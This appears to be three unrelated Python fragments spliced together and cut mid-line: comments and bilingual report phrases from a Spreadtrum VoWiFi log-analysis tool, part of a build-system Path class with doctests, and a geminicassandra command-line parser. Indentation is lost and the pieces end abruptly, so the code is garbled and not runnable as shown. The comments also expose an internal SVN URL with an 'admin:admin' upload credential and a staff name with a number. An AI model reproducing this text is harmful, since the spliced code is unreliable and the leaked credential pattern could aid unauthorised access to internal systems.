# 3. OPERATION_HANDOVER_TO_VOWIFI in ImsCM is the same in tele's IMS_OPERATION_HANDOVER_TO_VOWIFI
# 4. tele's log.w, log.e
#D:\code\log\ref_log\instruments\Anritsu\call_scenarioes\merge_test\log4
#http://bugzilla.spreadtrum.com/bugzilla/show_bug.cgi?id=663113
#http://bugzilla.spreadtrum.com/bugzilla/show_bug.cgi?id=659089
#D:\code\log\bug_log\vit_log\2017_3_24\659089\ylog
# 8.1.3.4 new imscm : D:\code\log\ref_log\EE\poweroff_dereg
# 8.1.3.1 REGISTER display add backward option for searchsip
## 8.1.3.3 new s2b code C:\Users\Zhihua.Ye\Documents\MyJabberFiles\yingying.fan@spreadtrum.com\s2b_new\ylog\
# 8.1.10 onLoginFinished
#D:\code\log\bug_log\vit_log\2017_3_24\660071\ylog
# 8.1.3 log more
# 1. 01-01 09:18:14.321 1140 2496 I CPVoiceAgent: [cp_mediaset]: AT+SPRTPMEDIASET=3,1,1,1
# 2. DSCI D:\code\log\bug_log\vit_log\2017_4_14\660061\ylog2
## new ho no rtp
# 8.2.0 add calling mode
# Wifi-calling mode is "Cellular preferred"
# 8.2.a.3 CEREG add too verbose, FIXME: not to added
# 8.2.a pcscf passing
# 8.2.a.1 ap to cp: AT+VOWIFIPCSCF
#Parameter:
#< type>: 0, FQDN
# 1, IPV4
# 2, IPV6
#<addr> string
# AT+VOWIFIPCSCF=1,"10.15.0.26"
# 8.2.a.2 cp to ap: ImsServiceImpl: getImsPcscfAddress mImsPscfAddress = \\10.0.0.166\Logs\From_Taipei\Taipei_Logs\VoWiFiPowerTest\Indonisa\0503
# D:\code\log\ref_log\smartfren\smart_volte_idle_ho_vowifi\android
# full function open, error grep
# D:\code\merge\isharkl2 do_ip failed
# add zxsocket grep...
## 8.2.a.4 parse tw logs failed, no sip D:\code\merge\tw\672534\volte_ho_vowifi
# 8.0.111 Authentication: Failed to get the challenge response. D:\code\so\juphoonlib\develop\7lib\sos\1
# 8.2.00 imscm ho stragtegy
# new imscm logs D:\code\merge\dtac
# 1. createPolicyTimerTask: don't create timer task during Vowifi and 2/3G or UNKNOWN network
# add all task "Conditions are not satisfied" , warning
# D:\code\merge\indonisia\can'tregistervowifi2\ylog\android
# 8.3 add pending warning, s2b not return
# D:\code\log\bug_log\vit_log\2017_4_14\668339\ylog
# handleMessageSwitchToVowifi: "MSG_SWITCH_TO_VOWIFI", mCurPendingMsgId = "MSG_RELEASE_VOWIFI_RES",
# 8.0 simplify error output.
# eventname/timestamp in html is not correct
# 8.2.01 D:\code\log\ref_log\instruments\sprient\newversion2\nonce_null
# 1. add error:Can not get data from the nonce as it is null
# 2. impu, impi
# 3. crash log findings
# native crash : D:\code\log\ref_log\instruments\sprient\newversion2\nonce_null
# 04-15 16:28:38.234 6114 6114 F DEBUG : pid: 4663, tid: 4686, name: Thread-4 >>> com.sprd.vowifi.security <<<
# app crash: D:\code\log\bug_log\vit_log\2017_4_14\665551\vowifiservice\log_sp9861e_1h10_vm_userdebu\external_storage\ylog
# 04-13 19:53:25.953 3814 3814 E AndroidRuntime: Process: com.spreadtrum.vowifi, PID: 3814
# http://bugzilla.spreadtrum.com/bugzilla/show_bug.cgi?id=678093
# 7.9.1 imscm
# rssi = , loss =, audioLoss =, videoLoss =
# D:\code\log\bug_log\vit_log\2017_5_1\677097\ylog
#TODO:
# 7.7. ScreenStateReceiver SCREEN_OFF, SCREEN_ON - not useful
# 7.7.1 at cmd: CGDCONT
# 7.6 sip searching , should add
# process request
# process response
# gui notify
# D:\code\merge\ee\sip_error
# 7.8.x cp tuple issue
# D:\code\merge\vdf\TCP syn no response
# 7.9.0 impu, impi
# 7.9 emergency call
# 8.1.99 save some json file
# 8.2.b optimize lemonlog in flowParser.py
# 8.2.02 onsrvccfailed http://bugzilla.spreadtrum.com/bugzilla/show_bug.cgi?id=666546
# 8.2.002 deactive-pdn failed http://bugzilla.spreadtrum.com/bugzilla/show_bug.cgi?id=673148
# D:\code\log\bug_log\vit_log\2017_4_14\piclab_4_17\HO_connection\ylog
# 8.2.1 ImcM Qos
# http://bugzilla.spreadtrum.com/bugzilla/show_bug.cgi?id=666173
# 8.2.2 call optimization
# add call number D:\code\log\bug_log\vit_log\2017_4_14\665355
# 8.2.3 more media AT parsing., SPRTPCHANNEL
# CPVoiceAgent: AT> AT+SPRTPCHANNEL="01018D9009AA8C9008AA010A0F200600000000000000000000000001647CDFCB000000000000000000000000"
#
# 8.1.3.2 new ike error code
# high prio
# 1. display flag on handler
# 8.1.4 D:\code\log\ref_log\instruments\Anritsu\error_sample error sample
# 8.1.4.1 add crash report
# 8.1.12 rssi, Qos jquery chart.
# 8.1.13 dialer
# CallCardPresenter.java, CallButtonPresenter.java
# add more decode about call and profile
# InCall : CallCardPresenter - Disconnecting call: [Call_2, ACTIVE, [Capabilities: CAPABILITY_HOLD CAPABILITY_SUPPORT_HOLD CAPABILITY_MUTE CAPABILITY_SUPPORTS_VT_LOCAL_RX CAPABILITY_SUPPORTS_VT_LOCAL_TX CAPABILITY_SUPPORTS_VT_LOCAL_BIDIRECTIONAL CAPABILITY_SUPPORTS_VT_REMOTE_RX CAPABILITY_SUPPORTS_VT_REMOTE_TX CAPABILITY_SUPPORTS_VT_REMOTE_BIDIRECTIONAL CAPABILITY_CAN_PAUSE_VIDEO], children:[], parent:null, conferenceable:[], videoState:Audio Only, mSessionModificationState:0, VideoSettings:(CameraDir:-1)
# packages/apps/Dialer/InCallUI/src/com/android/incallui
# from callcard to try the call duration
#
# 8.2.0 http://bugzilla.spreadtrum.com/bugzilla/show_bug.cgi?id=659089
# my comments
# 8.2.1 call session
# event.log /main.pdf diffs
# 8.2.3 all success/failed event, only care about handover, register,call
# handover errors:
# volte register fail: D:\code\log\bug_log\vit_log\2017_3_24\659089\13slog_20170325222251_sp9832a_2h11_ho_VoWIFI_dropcall_2220-2222\external_storage\ylog
# vowifi register faile: D:\code\log\bug_log\vit_log\2017_4_1\spirent_rereg\ylog
# s2b failed: D:\code\log\bug_log\vit_log\2017_4_14\666137\ylog1\
#
# 8.2.4 owner display : too aggressive
# 8.2.300 regstatus add refresh failed
#https://SHTEMP832PC.spreadtrum.com:444/svn/Vowifi_Log_Tool/
#log tool
#一般人就用user账户下载,不需要密码
#你用admin:admin上传
#renlong.he 2296206
#
# 8.1.100 ipsec cmd
#
#
# 9.2 add CPVoiceAgent 's at parsing
# D:\code\log\bug_log\vit_log\2017_3_2\con_call
# at cmd
# 9.3 ringtone
#
#
# 10.0 g_astMtcCliCodeMap , g_astMtcCallCodeMap
# 10. add imsservice logic
# onReceiveHandoverEvent, onImsHandoverStateChange,onImsPdnStatusChange,
# imscm's logic : "imsServiceEx"
# add timing calcute
# 15. outgoing, alerting
# 16. more bugs to analyze
# 16.1 imswaitvoltereg D:\code\log\bug_log\vit_log\2017_2_14\644337\Fail_S2b_Attach_Data_OK_No_error_popup\AP\ylog
#
# wifi call end with volte call ,volte not reg. , IMSEN=1 not send
# try vowifi call ,ho to volte, end call ,if reg to volte
# 16.1.1 D:\code\iwhale2\log\cp_reject ho cp reject
# 16.2 imscmopfailed D:\code\log\bug_log\vit_log\2017_2_14\644735\IDLE_1\slog_20170217133643_sp9832a_2h11_4mvoltesea_userdebug\external_storage\ylog\ylog
# 16.3 imscallend http://bugzilla.spreadtrum.com/bugzilla/show_bug.cgi?id=645833
# 16.4 conf scenario: http://bugzilla.spreadtrum.com/bugzilla/show_bug.cgi?id=646232
# 16.5 camera D:\code\log\bug_log\vit_log\2017_2_14\644983\vowifi_Active Video + MT Alerting Video\1\2\external_storage\ylog\ylog
# Set the camera to
# 16.6 sim card not support vowifi: D:\code\so\juphoonlib\develop\6lib\lib\sim_not_support
# setCheckWifiConnectivityState: not found plmn in mAllPlmnArrayList and not Lab's card
#
# add report
# 17. predict:
# 17.1 wifi conn
# 17.2 callid, call state match, incoming ,talking...
# 17.3 idle ho , ho in call
# 17.3 stack state
# 17.3 module owner, doc update
# 17.8 ho success: epdg, pdn, etc
# 17.9 call term by user/network
# 18. supplementary service
# 12. process duration: s2b, reg, ho, call
# 12.1 duration
# 13 tracing log should be deleted.
# 14. chinese name path
# ppt prepare:
# 1. scenarioes: D:\code\log\bug_log\vit_log\2017_4_14\668542
from reportEvent import *
class langBuilder():
def __init__(self, zh='', en=''):
self.phrase = dict()
self.phrase['lang'] = dict()
self.phrase['lang']['zh'] = zh
self.phrase['lang']['en'] = en
def geten(self):
return self.phrase['lang']['en']
def getzh(self):
return self.phrase['lang']['zh']
def getenzh(self):
#use <br> to combine
return self.phrase['lang']['en'] + "<br>" + self.phrase['lang']['zh']
class reportBuilder():
def __init__(self, type, event, level, errorstr=''):
self.report = dict()
self.report['type'] = type
self.report['event'] = event
self.report['level'] = level
self.report['errorstr'] = errorstr
def getreport(self):
return self.report
def map2phrase(key, phrasemap):
if type(phrasemap) is not dict:
return key
if key in phrasemap:
return phrasemap[key].geten()
else:
return key
#FIXME: not easily mapping , add more arg??
def mapzhphrase(key, phrasemap, pre= '',post=''):
if type(phrasemap) is not dict:
return key
if key in phrasemap:
assembleen = pre + phrasemap[key].geten()+ post
if phrasemap[key].getzh():
assemblezh = pre + phrasemap[key].getzh()+ post
else:
assemblezh = ''
return assembleen + "<br>" + assemblezh
else:
return key
#S2B phrase
Reports2bphrase = dict()
Reports2bphrase['successed'] = dict()
Reports2bphrase['successed'] = langBuilder(zh="ePDG驻网成功", en="ePDG attach successfully")
Reports2bphrase['failed'] = dict()
Reports2bphrase['failed'] = langBuilder(zh="ePDG驻网失败", en="ePDG attach failed")
Reports2bphrase['stopped'] = dict()
Reports2bphrase['stopped'] = langBuilder(zh="ePDG驻网正常停止", en="ePDG attach stopped")
Reports2bphrase['stopped_abnormally'] = dict()
Reports2bphrase['stopped_abnormally'] = langBuilder(zh="ePDG驻网异常停止", en="ePDG attach stopped abnormally")
#Register callback
Reportregphrase = dict()
Reportregphrase['login_ok'] = dict()
Reportregphrase['login_ok'] = langBuilder(zh="VoWiFi注册成功", en="VoWiFi Registered")
Reportregphrase['login_failed'] = dict()
Reportregphrase['login_failed'] = langBuilder(zh="VoWiFi注册失败", en="VoWiFi Failed to Register")
Reportregphrase['logouted'] = dict()
Reportregphrase['logouted'] = langBuilder(zh="VoWiFi去注册", en="VoWiFi UnRegistered")
Reportregphrase['refresh_ok'] = dict()
Reportregphrase['refresh_ok'] = langBuilder(zh="VoWiFi 刷新注册成功", en="VoWiFi Re-Registered")
Reportregphrase['refresh_failed'] = dict()
Reportregphrase['refresh_failed'] = langBuilder(zh="VoWiFi 刷新注册失败", en="VoWiFi Failed to Re-Registered")
Reportregphrase['state_update'] = dict()
Reportregphrase['state_update'] = langBuilder(zh="VoWiFi注册状态更新", en="VoWiFi RegState Update")
#Handover actions
ReportHandoverphrase = dict()
ReportHandoverphrase['wificonn'] = dict()
ReportHandoverphrase['wificonn'] = langBuilder(zh="ImsCM 连上WiFi", en="ImsCM WiFi is Connected")
ReportHandoverphrase['wifidisconn'] = dict()
ReportHandoverphrase['wifidisconn'] = langBuilder(zh="ImsCM WiFi断开连接", en="ImsCM WiFi is Disconnected")
ReportHandoverphrase['airon'] = dict()
ReportHandoverphrase['airon'] = langBuilder(zh="打开飞行模式", en="open airplane mode")
ReportHandoverphrase['airoff'] = dict()
ReportHandoverphrase['airoff'] = langBuilder(zh="关闭飞行模式", en="close airplane mode")
ReportHandoverphrase['enwfc'] = dict()
ReportHandoverphrase['enwfc'] = langBuilder(zh="打开WiFi-Calling", en="Enable WiFi-Calling")
ReportHandoverphrase['disenwfc'] = dict()
ReportHandoverphrase['disenwfc'] = langBuilder(zh="关闭WiFi-Calling", en="Disable WiFi-Calling")
ReportHandoverphrase['invalidsim'] = dict()
ReportHandoverphrase['invalidsim'] = langBuilder(zh="Sim卡不在白名单,禁用VoWiFi", en="SimCard is not in VoWiFi whitelist")
ReportHandoverphrase['idlehowifi'] = dict()
ReportHandoverphrase['idlehowifi'] = langBuilder(zh="尝试Idle切换到VoWiFi", en="Trying to Idle Handover to VoWiFi")
ReportHandoverphrase['idleholte'] = dict()
ReportHandoverphrase['idleholte'] = langBuilder(zh="尝试Idle切换到VoLTE", en="Trying to Idle Handover to VoLTE")
ReportHandoverphrase['callhowifi'] = dict()
ReportHandoverphrase['callhowifi'] = langBuilder(zh="尝试电话中切到VoWiFi", en="Trying to Handover to VoWiFi in Call")
ReportHandoverphrase['callholte'] = dict()
ReportHandoverphrase['callholte'] = langBuilder(zh="尝试电话中切到VoLTE", en="Trying to Handover to VoLTE in Call")
ReportHandoverphrase['voiceqos2lte'] = dict()
ReportHandoverphrase['voiceqos2lte'] = langBuilder(zh="尝试语音通话质量差切换到Volte", en="Trying to Handover to VoLTE Due to Poor Voice Quality")
ReportHandoverphrase['videoqos2lte'] = dict()
ReportHandoverphrase['videoqos2lte'] = langBuilder(zh="尝试视频通话质量差切换到Volte", en="Trying to Handover to VoLTE Due to Poor Video Quality")
ReportHandoverphrase['incallrssiho2wifi'] = dict()
ReportHandoverphrase['incallrssiho2wifi'] = langBuilder(zh="尝试通话中WiFi信号好切换到VoWiFi", en="Trying to Handover to VoWiFi In Call Due to Strong WiFi Signal")
ReportHandoverphrase['rssiho2wifi'] = dict()
ReportHandoverphrase['rssiho2wifi'] = langBuilder(zh="尝试WiFi信号好切换到VoWiFi", en="Trying to Handover to VoWiFi From VoLTE Due to Strong WiFi Signal")
ReportHandoverphrase['autowifi'] = dict()
ReportHandoverphrase['autowifi'] = langBuilder(zh="尝试WiFi信号好驻网到VoWiFi", en="Trying to Auto Attach to VoWiFi Due to Strong WiFi Signal")
#some error between imscm and telephony
#defined in ImsConnectionManagerService.java
ReportHandoverphrase['switch vowifi'] = dict()
ReportHandoverphrase['switch | |
= new
super().__init__('builder redefinition for %s' % self.__node)
@property
def node(self):
return self.__node
@property
def previous_builder(self):
return self.__previous
@property
def new_builder(self):
return self.__new
_RAW = env('RAW') is not None
_SILENT = env('SILENT') is not None
class Path:
"""Node names, similar to a filesystem path."""
cache = {}
def __new__(self,
path,
absolute=None,
virtual=None,
volume=None,
string=None):
if path.__class__ is Path:
return path
elif path.__class__ is str:
strkey = path
res = Path.cache.get(path, None)
if res is not None:
return res
else:
path, absolute, virtual, volume = Path.__parse(path)
else:
strkey = string
if Path.windows:
key = (path, absolute, virtual, volume)
else:
key = (path, absolute, virtual)
res = Path.cache.get(key, None)
if res is None:
res = object.__new__(self)
res.__init(path, absolute, virtual, volume)
Path.cache[key] = res
if strkey is not None:
Path.cache[strkey] = res
return res
def unfold(self):
p = self
while p != drake.Path.dot:
yield p
p = p.dirname()
@classmethod
def rootify(self, paths):
res = set()
for p in paths:
insert = True
for e in set(res):
if e.prefix_of(p):
insert = False
break
elif p.prefix_of(e):
res.remove(e)
if insert:
res.add(p)
return res
def __parse(path):
if Path.windows:
volume = re.compile('^([a-zA-Z]):').match(path)
if volume:
volume = volume.group(1)
path = path[2:]
else:
volume = ''
if path[:2] == '//' or path[:2] == '\\\\':
path = path[2:]
absolute = False
virtual = True
elif path[:1] == '/' or path[:1] == '\\':
path = path[1:]
absolute = True
virtual = False
else:
absolute = False
virtual = False
path = path = tuple(re.split(r'/|\\', path))
else:
volume = None
if path[:2] == '//':
path = path[2:]
absolute = False
virtual = True
elif path[:1] == '/':
path = path[1:]
absolute = True
virtual = False
else:
absolute = False
virtual = False
path = tuple(filter(lambda c: c, path.split('/')))
return path, absolute, virtual, volume
separator = '/'
windows = platform.system() == 'Windows'
if windows:
separator = '\\'
def __init(self, path, absolute, virtual, volume):
"""Build a path.
path -- The path, as a string or an other Path.
"""
self.__absolute = absolute
self.__canonized = None
self.__path = path
self.__str = None
self.__virtual = virtual
self.__volume = volume
self.__saved_cwd = []
def canonize(self):
if self.__canonized is None:
res = ()
path = self.__path
for i in range(len(path)):
if path[i] == '..' and len(res) > 0 and res[-1] != '..':
res = res[:-1]
elif path[i] == '.':
pass
else:
res += (path[i],)
if res == self.__path:
self.__canonized = self
else:
self.__canonized = drake.Path(res,
absolute=self.__absolute,
virtual=self.__virtual,
volume=self.__volume)
return self.__canonized
def absolute(self):
"""Whether this path is absolute.
>>> Path('.').absolute()
False
>>> Path('foo/bar').absolute()
False
>>> Path('/').absolute()
True
>>> Path('/foo').absolute()
True
"""
return self.__absolute
@property
def name_relative(self):
"""Path relative to the current drakefile."""
if self.absolute():
return self
else:
return self.without_prefix(drake.Drake.current.prefix)
@property
def relative(self):
return not self.__absolute
@property
def virtual(self):
"""Whether this path is virtual.
>>> Path('.').virtual
False
>>> Path('foo/bar').virtual
False
>>> Path('//').virtual
True
>>> Path('//foo').virtual
True
"""
return self.__virtual
@property
def volume(self):
return self.__volume
def remove(self, err=False):
"""Remove the target file.
err -- Whether this is an error for non-existent file.
No-op if the file does not exist, unless err is true.
>>> p = Path('/tmp/.drake.foo')
>>> p.touch()
>>> p.exists()
True
>>> p.remove()
>>> p.exists()
False
>>> p.touch()
>>> p.remove(True)
>>> p.remove(True)
Traceback (most recent call last):
...
Exception: Path does not exist: /tmp/.drake.foo
"""
try:
_OS.remove(str(self))
except OSError as e:
import sys
if e.errno == 2:
if err:
raise Exception('Path does not exist: %s' % str(self))
# OS X throws an errno 1 when trying to remove a directory.
elif e.errno == 21 or (sys.platform == 'darwin' and e.errno == 1):
shutil.rmtree(str(self))
else:
raise
def __extension_get(self):
parts = self.__path[-1].split('.')
if len(parts) > 1:
return '.'.join(parts[1:])
else:
return ''
def with_extension(self, value):
'''The path with a different extension.
>>> p = Path('foo')
>>> p
Path("foo")
>>> p = p.with_extension('tar.bz2')
>>> p
Path("foo.tar.bz2")
>>> p.with_extension('txt')
Path("foo.txt")
'''
parts = self.__path[-1].split('.')
if len(parts) > 1:
if value == '':
parts = [parts[0]]
else:
parts = [parts[0], value]
return Path(self.__path[:-1] + ('.'.join(parts),),
absolute=self.__absolute,
virtual=self.__virtual,
volume=self.__volume)
else:
if value != '':
return Path(self.__path[:-1] + ('%s.%s' % (parts[0], value),),
absolute=self.__absolute,
virtual=self.__virtual,
volume=self.__volume)
else:
return self
extension = property(
fget=__extension_get,
doc="""Extension of the file name.
The extension is the part after the first dot of the basename,
or the empty string if there are no dot.
>>> Path('foo.txt').extension
'txt'
>>> Path('foo.tar.bz2').extension
'tar.bz2'
>>> Path('foo').extension
''
""")
def without_last_extension(self):
"""Remove the last dot and what follows from the basename.
Does nothing if there is no dot.
>>> p = Path('foo.tar.bz2')
>>> p
Path("foo.tar.bz2")
>>> p = p.without_last_extension()
>>> p
Path("foo.tar")
>>> p = p.without_last_extension()
>>> p
Path("foo")
>>> p.without_last_extension()
Path("foo")
"""
ext = '.'.join(self.extension.split('.')[:-1])
return self.with_extension(ext)
def __str__(self):
"""The path as a string, adapted to the underlying OS."""
if self.__str is None:
if self.__absolute:
if self.__volume is None or self.__volume == '':
prefix = drake.Path.separator
else:
prefix = self.__volume + ':' + drake.Path.separator
elif self.__virtual:
prefix = drake.Path.separator * 2
else:
prefix = ''
if not self.__path:
body = '.'
else:
body = self.separator.join(self.__path)
self.__str = prefix + body
return self.__str
def __repr__(self):
"""Python representation."""
return 'Path(\"%s\")' % str(self)
def __lt__(self, rhs):
"""Arbitrary comparison.
>>> Path('foo') < Path('foo')
False
>>> (Path('foo') < Path('bar')) ^ (Path('bar') < Path('foo'))
True
"""
return str(self) < str(rhs)
def __hash__(self):
"""Hash value.
>>> hash(Path('foo')) == hash(Path('foo'))
True
"""
return id(self)
def exists(self):
"""Whether the designated file or directory exists.
>>> p = Path('/tmp/.drake.foo')
>>> p.touch()
>>> p.exists()
True
>>> p.remove()
>>> p.exists()
False
"""
if _OS.path.islink(str(self)):
return True
return _OS.path.exists(str(self))
@property
def executable(self):
"""Whether the designated file is executable by the user."""
return _OS.access(str(self), _OS.X_OK)
def is_file(self):
"""Whether the designated file exists and is a regular file.
>>> p = Path('/tmp/.drake.foo')
>>> p.touch()
>>> p.is_file()
True
>>> p.remove()
>>> p.is_file()
False
>>> p.mkpath()
>>> p.exists()
True
>>> p.is_file()
False
>>> p.remove()
"""
return _OS.path.isfile(str(self))
def basename(self):
"""The filename part of the path.
This is the path without the dirname. Throws if the path has
no components.
>>> Path('foo/bar/baz').basename()
Path("baz")
"""
if not self.__path:
raise Exception('Cannot take the basename of an empty path.')
return Path(self.__path[-1:],
absolute=False,
virtual=False,
volume='')
def dirname(self):
"""The directory part of the path.
This is the path without the basename. Throws if the path has
no components.
>>> Path('foo/bar/baz').dirname()
Path("foo/bar")
>>> Path('foo').dirname()
Path(".")
"""
if len(self.__path) == 1:
return Path.dot
else:
return Path(self.__path[0:-1],
absolute=self.__absolute,
virtual=self.__virtual,
volume=self.__volume)
def realpath(self):
"""The absolute path of the real file represented by this path.
>>> Path('./foo/../bar').realpath() == '{}/bar'.format(_OS.getcwd())
True
"""
return Path(_OS.path.realpath(str(self)))
def touch(self):
"""Create the designated file if it does not exists.
Creates the parent directories if needed first.
>>> Path('/tmp/.drake').remove()
>>> p = Path('/tmp/.drake/.sub/.foo')
>>> p.touch()
>>> p.exists()
True
If the file does exist, this is a no-op.
>>> path = Path('/tmp/.drake.touch.exists')
>>> with open(str(path), 'w') as f:
... print('foobar', file = f)
>>> path.touch()
>>> with open(str(path), 'r') as f:
... print(f.read(), end = '')
foobar
"""
parent = self.dirname()
if parent is not Path.dot:
parent.mkpath()
if not _OS.path.exists(str(self)):
with open(str(self), 'w') as f:
pass
def mkpath(self):
"""Create the designated directory.
Creates the parent directories if needed first.
>>> Path('/tmp/.drake').remove()
>>> p = Path('/tmp/.drake/.sub/')
>>> p.mkpath()
>>> p.exists()
True
"""
if not _OS.path.exists(str(self)):
_OS.makedirs(str(self))
def __eq__(self, rhs):
"""Whether self equals rhs.
Pathes are equals if they have the same components and
absoluteness.
>>> Path('foo/bar') == Path('foo/bar')
True
>>> Path('foo/bar') == Path('foo')
False
>>> Path('foo/bar') == Path('bar/foo')
False
>>> Path('foo/bar') == Path('/foo/bar')
False
>>> Path('/foo/bar') == Path('/foo/bar')
True
"""
return self is drake.Path(rhs)
def __truediv__(self, rhs):
"""The concatenation of self and rhs.
rhs -- the end of the new path, as a Path or a string.
>>> Path('foo/bar') / Path('bar/baz')
Path("foo/bar/bar/baz")
>>> Path('foo/bar') / 'baz'
Path("foo/bar/baz")
>>> Path('.') / 'baz'
Path("baz")
Contatenating an absolute path yields the path itself.
>>> Path('foo') / Path('/absolute')
Path("/absolute")
"""
rhs = Path(rhs)
if self is Path.dot:
return rhs
if rhs | |
#!/usr/bin/env python
import os.path
import sys
import argparse
import geminicassandra.version
def examples(parser, args):
print
print "[load] - load a VCF file into a geminicassandra database:"
print " geminicassandra load -v my.vcf my.db"
print " geminicassandra load -v my.vcf -t snpEff my.db"
print " geminicassandra load -v my.vcf -t VEP my.db"
print
print "[stats] - report basic statistics about your variants:"
print " geminicassandra stats --tstv my.db"
print " geminicassandra stats --tstv-coding my.db"
print " geminicassandra stats --sfs my.db"
print " geminicassandra stats --snp-counts my.db"
print
print "[query] - explore the database with ad hoc queries:"
print " geminicassandra query -q \"select * from variants where is_lof = 1 and aaf <= 0.01\" my.db"
print " geminicassandra query -q \"select chrom, pos, gt_bases.NA12878 from variants\" my.db"
print " geminicassandra query -q \"select chrom, pos, in_omim, clin_sigs from variants\" my.db"
print
print "[dump] - convenient \"data dumps\":"
print " geminicassandra dump --variants my.db"
print " geminicassandra dump --genotypes my.db"
print " geminicassandra dump --samples my.db"
print
print "[region] - access variants in specific genomic regions:"
print " geminicassandra region --reg chr1:100-200 my.db"
print " geminicassandra region --gene TP53 my.db"
print
print "[tools] - there are also many specific tools available"
print " 1. Find compound heterozygotes."
print " geminicassandra comp_hets my.db"
print
exit()
def main():
#########################################
# create the top-level parser
#########################################
parser = argparse.ArgumentParser(prog='geminicassandra', formatter_class=argparse.ArgumentDefaultsHelpFormatter)
parser.add_argument("-v", "--version", help="Installed geminicassandra version",
action="version",
version="%(prog)s " + str(geminicassandra.version.__version__))
parser.add_argument('--annotation-dir', dest='annotation_dir',
help='Path to the annotation database.\n'
'This argument is optional and if given will take precedence over the default location stored in the geminicassandra config file.')
subparsers = parser.add_subparsers(title='[sub-commands]', dest='command')
#########################################
# $ geminicassandra examples
#########################################
parser_examples = subparsers.add_parser('examples',
help='show usage examples')
parser_examples.set_defaults(func=examples)
#########################################
# $ geminicassandra load
#########################################
parser_load = subparsers.add_parser('load',
help='load a VCF file in geminicassandra database')
parser_load.add_argument('-db', dest='contact_points',
default = "127.0.0.1",
help='The IP adresses at which the Cassandra cluster is reachable.')
parser_load.add_argument('-ks',
dest='keyspace',
default = 'gemini_keyspace',
metavar = 'STRING',
help="The Cassandra keyspace in which the data should be stored.")
parser_load.add_argument('-v', dest='vcf',
help='The VCF file to be loaded.')
parser_load.add_argument('-t', dest='anno_type',
default=None, choices=["snpEff", "VEP"],
help="The annotations to be used with the input vcf.")
parser_load.add_argument('-p', dest='ped_file',
help='Sample information file in PED+ format.',
default=None)
parser_load.add_argument('--skip-gerp-bp',
dest='skip_gerp_bp',
action='store_true',
help='Do not load GERP scores at base pair resolution. Loaded by default.',
default=False)
parser_load.add_argument('--skip-cadd',
dest='skip_cadd',
action='store_true',
help='Do not load CADD scores. Loaded by default',
default=False)
parser_load.add_argument('--skip-gene-tables',
dest='skip_gene_tables',
action='store_true',
help='Do not load gene tables. Loaded by default.',
default=False)
parser_load.add_argument('--skip-info-string',
dest='skip_info_string',
action='store_true',
help='Do not load INFO string from VCF file to reduce DB size. Loaded by default',
default=False)
parser_load.add_argument('--no-load-genotypes',
dest='no_load_genotypes',
action='store_true',
help='Genotypes exist in the file, but should not be stored.',
default=False)
parser_load.add_argument('--no-genotypes',
dest='no_genotypes',
action='store_true',
help='There are no genotypes in the file (e.g. some 1000G VCFs)',
default=False)
parser_load.add_argument('--cores', dest='cores',
default=1,
type=int,
help="Number of cores to use to load in parallel.")
parser_load.add_argument('--scheduler', dest='scheduler', default=None,
choices=["lsf", "sge", "slurm", "torque"],
help='Cluster scheduler to use.')
parser_load.add_argument('--queue', dest='queue',
default=None, help='Cluster queue to use.')
parser_load.add_argument('--passonly',
dest='passonly',
default=False,
action='store_true',
help="Keep only variants that pass all filters.")
parser_load.add_argument('--test-mode',
dest='test_mode',
action='store_true',
help='Load in test mode (faster)',
default=False)
parser_load.add_argument('--timing-log',
dest = "timing_log",
default = None,
help = "File to log time taken for loading")
parser_load.add_argument('--exp-id',
dest = "exp_id",
default = "",
help = "Identifier for the test run")
parser_load.add_argument('--buffer-size',
dest = "buffer_size",
default = 333,
type=int,
help = "buffer size when loading")
parser_load.add_argument('--replication',
dest= "replication",
default = 1,
type=int,
help="replication factor for the Cassandra cluster")
parser_load.add_argument('--max_queue',
dest= "max_queue",
default = 120,
type=int,
help="queue length (per core) for batched inserts to Cassandra")
parser_load.add_argument('--node_num',
dest="node_num",
default = 1,
type=int)
parser_load.add_argument('--total_nodes',
dest="total_nodes",
default = 1,
type=int)
def load_fn(parser, args):
import gemini_load
gemini_load.load(parser, args)
parser_load.set_defaults(func=load_fn)
#########################################
# $ geminicassandra amend
#########################################
parser_amend = subparsers.add_parser('amend',
help="Amend an already loaded GEMINI database.")
parser_amend.add_argument('db',
metavar='db',
help='The name of the database to be amended.')
parser_amend.add_argument('--sample',
metavar='sample',
default=None,
help='New sample information file to load')
def amend_fn(parser, args):
import gemini_amend
gemini_amend.amend(parser, args)
parser_amend.set_defaults(func=amend_fn)
#########################################
# $ geminicassandra load_chunk
#########################################
parser_loadchunk = subparsers.add_parser('load_chunk',
help='load a VCF file in geminicassandra database')
parser_loadchunk.add_argument('-db', dest='contact_points',
default = "127.0.0.1",
help='The IP adresses at which the Cassandra cluster is reachable.')
parser_loadchunk.add_argument('-ks',
dest='keyspace',
default = 'gemini_keyspace',
metavar = 'STRING',
help="The Cassandra keyspace in which the data should be stored.")
parser_loadchunk.add_argument('-v',
dest='vcf',
help='The VCF file to be loaded.')
parser_loadchunk.add_argument('-t',
dest='anno_type',
default=None,
metavar='STRING',
help="The annotations to be used with the input vcf. Options are:\n"
" snpEff - Annotations as reported by snpEff.\n"
" VEP - Annotations as reported by VEP.\n"
)
parser_loadchunk.add_argument('-o',
dest='offset',
help='The starting number for the variant_ids',
default=None)
parser_loadchunk.add_argument('-p',
dest='ped_file',
help='Sample information file in PED+ format.',
default=None)
parser_loadchunk.add_argument('--no-load-genotypes',
dest='no_load_genotypes',
action='store_true',
help='Genotypes exist in the file, but should not be stored.',
default=False)
parser_loadchunk.add_argument('--no-genotypes',
dest='no_genotypes',
action='store_true',
help='There are no genotypes in the file (e.g. some 1000G VCFs)',
default=False)
parser_loadchunk.add_argument('--skip-gerp-bp',
dest='skip_gerp_bp',
action='store_true',
help='Do not load GERP scores at base pair resolution. Loaded by default.',
default=False)
parser_loadchunk.add_argument('--skip-cadd',
dest='skip_cadd',
action='store_true',
help='Do not load CADD scores. Loaded by default',
default=False)
parser_loadchunk.add_argument('--skip-gene-tables',
dest='skip_gene_tables',
action='store_true',
help='Do not load gene tables. Loaded by default.',
default=False)
parser_loadchunk.add_argument('--skip-info-string',
dest='skip_info_string',
action='store_true',
help='Do not load INFO string from VCF file to reduce DB size. Loaded by default',
default=False)
parser_loadchunk.add_argument('--passonly',
dest='passonly',
default=False,
action='store_true',
help="Keep only variants that pass all filters.")
parser_loadchunk.add_argument('--test-mode',
dest='test_mode',
action='store_true',
help='Load in test mode (faster)',
default=False)
parser_loadchunk.add_argument('--buffer-size',
dest = "buffer_size",
default = 333,
type=int,
help = "buffer size when loading")
parser_loadchunk.add_argument('--replication',
dest= "replication",
default = 1,
type=int,
help="replication factor for the Cassandra cluster")
